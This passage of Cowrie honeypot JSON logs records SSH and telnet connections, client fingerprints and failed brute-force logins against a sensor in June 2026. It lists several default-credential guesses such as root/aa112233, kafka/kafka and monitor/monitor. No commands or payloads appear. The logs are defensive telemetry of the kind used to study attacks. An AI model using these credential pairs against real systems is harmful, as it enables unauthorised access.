d25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:20.946309Z","src_ip":"141.11.88.14","session":"885ec2916e5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"local","password":"local","message":"login attempt [local/local] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:21.419438Z","src_ip":"141.11.88.14","session":"885ec2916e5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:22.525437Z","src_ip":"141.11.88.14","session":"885ec2916e5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41614,"dst_ip":"159.203.135.109","dst_port":23,"session":"6981cefa2de1","protocol":"telnet","message":"New connection: 128.199.8.54:41614 (159.203.135.109:23) [session: 6981cefa2de1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:29.039179Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.24","src_port":51498,"dst_ip":"10.17.0.5","dst_port":22,"session":"23a32f103109","protocol":"ssh","message":"New connection: 103.143.231.24:51498 (10.17.0.5:22) [session: 23a32f103109]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:29.101931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:29.106556Z","src_ip":"103.143.231.24","session":"23a32f103109","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:29.176919Z","src_ip":"103.143.231.24","session":"23a32f103109","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":63882,"dst_ip":"10.17.0.5","dst_port":22,"session":"248e7a12cb3c","protocol":"ssh","message":"New connection: 141.11.88.14:63882 (10.17.0.5:22) [session: 248e7a12cb3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:29.254598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:29.274198Z","src_ip":"141.11.88.14","session":"248e7a12cb3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:29.348490Z","src_ip":"141.11.88.14","session":"248e7a12cb3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa112233","message":"login attempt [root/aa112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:29.494059Z","src_ip":"103.143.231.24","session":"23a32f103109","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test3","password":"1","message":"login attempt [test3/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:29.962171Z","src_ip":"141.11.88.14","session":"248e7a12cb3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:30.567946Z","src_ip":"103.143.231.24","session":"23a32f103109","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:31.116563Z","src_ip":"141.11.88.14","session":"248e7a12cb3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":63918,"dst_ip":"10.17.0.5","dst_port":22,"session":"41c09d571544","protocol":"ssh","message":"New connection: 141.11.88.14:63918 (10.17.0.5:22) [session: 41c09d571544]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:37.047131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:37.147006Z","src_ip":"141.11.88.14","session":"41c09d571544","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:37.150977Z","src_ip":"141.11.88.14","session":"41c09d571544","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"kafka","message":"login attempt [kafka/kafka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:38.134250Z","src_ip":"141.11.88.14","session":"41c09d571544","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:39.657999Z","src_ip":"141.11.88.14","session":"41c09d571544","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":57718,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fe2b4b34ee3","protocol":"ssh","message":"New connection: 141.11.88.14:57718 (10.17.0.5:22) [session: 6fe2b4b34ee3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:44.270942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:44.502082Z","src_ip":"141.11.88.14","session":"6fe2b4b34ee3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:44.505364Z","src_ip":"141.11.88.14","session":"6fe2b4b34ee3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"123","message":"login attempt [openclaw/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:45.617322Z","src_ip":"141.11.88.14","session":"6fe2b4b34ee3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:46.740882Z","src_ip":"141.11.88.14","session":"6fe2b4b34ee3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.620229959487915,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:46.901875Z","src_ip":"128.199.8.54","session":"c668423f818c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":38510,"dst_ip":"10.17.0.5","dst_port":22,"session":"acb03c6946ab","protocol":"ssh","message":"New connection: 62.133.62.83:38510 (10.17.0.5:22) [session: acb03c6946ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:48.255340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:48.297684Z","src_ip":"62.133.62.83","session":"acb03c6946ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:48.377641Z","src_ip":"62.133.62.83","session":"acb03c6946ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eleanor1","message":"login attempt [root/eleanor1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:48.622769Z","src_ip":"62.133.62.83","session":"acb03c6946ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:49.704378Z","src_ip":"62.133.62.83","session":"acb03c6946ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":11570,"dst_ip":"10.17.0.5","dst_port":22,"session":"04792e1c30de","protocol":"ssh","message":"New connection: 141.11.88.14:11570 (10.17.0.5:22) [session: 04792e1c30de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:52.887626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:53.073237Z","src_ip":"141.11.88.14","session":"04792e1c30de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:53.273472Z","src_ip":"141.11.88.14","session":"04792e1c30de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ecommerce","password":"ecommerce","message":"login attempt [ecommerce/ecommerce] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:53.536529Z","src_ip":"141.11.88.14","session":"04792e1c30de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:54.627912Z","src_ip":"141.11.88.14","session":"04792e1c30de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":18878,"dst_ip":"10.17.0.5","dst_port":22,"session":"346d533cc421","protocol":"ssh","message":"New connection: 141.11.88.14:18878 (10.17.0.5:22) [session: 346d533cc421]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:01.159025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:01.366507Z","src_ip":"141.11.88.14","session":"346d533cc421","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:01.369937Z","src_ip":"141.11.88.14","session":"346d533cc421","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa112233","message":"login attempt [root/Aa112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:02.035195Z","src_ip":"141.11.88.14","session":"346d533cc421","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:03.157993Z","src_ip":"141.11.88.14","session":"346d533cc421","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":35416,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a850b8cf83d","protocol":"ssh","message":"New connection: 141.11.88.14:35416 (10.17.0.5:22) [session: 2a850b8cf83d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:07.946201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:08.065838Z","src_ip":"141.11.88.14","session":"2a850b8cf83d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:08.070127Z","src_ip":"141.11.88.14","session":"2a850b8cf83d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"monitor","password":"monitor","message":"login attempt [monitor/monitor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:09.151758Z","src_ip":"141.11.88.14","session":"2a850b8cf83d","protocol":"ssh"}
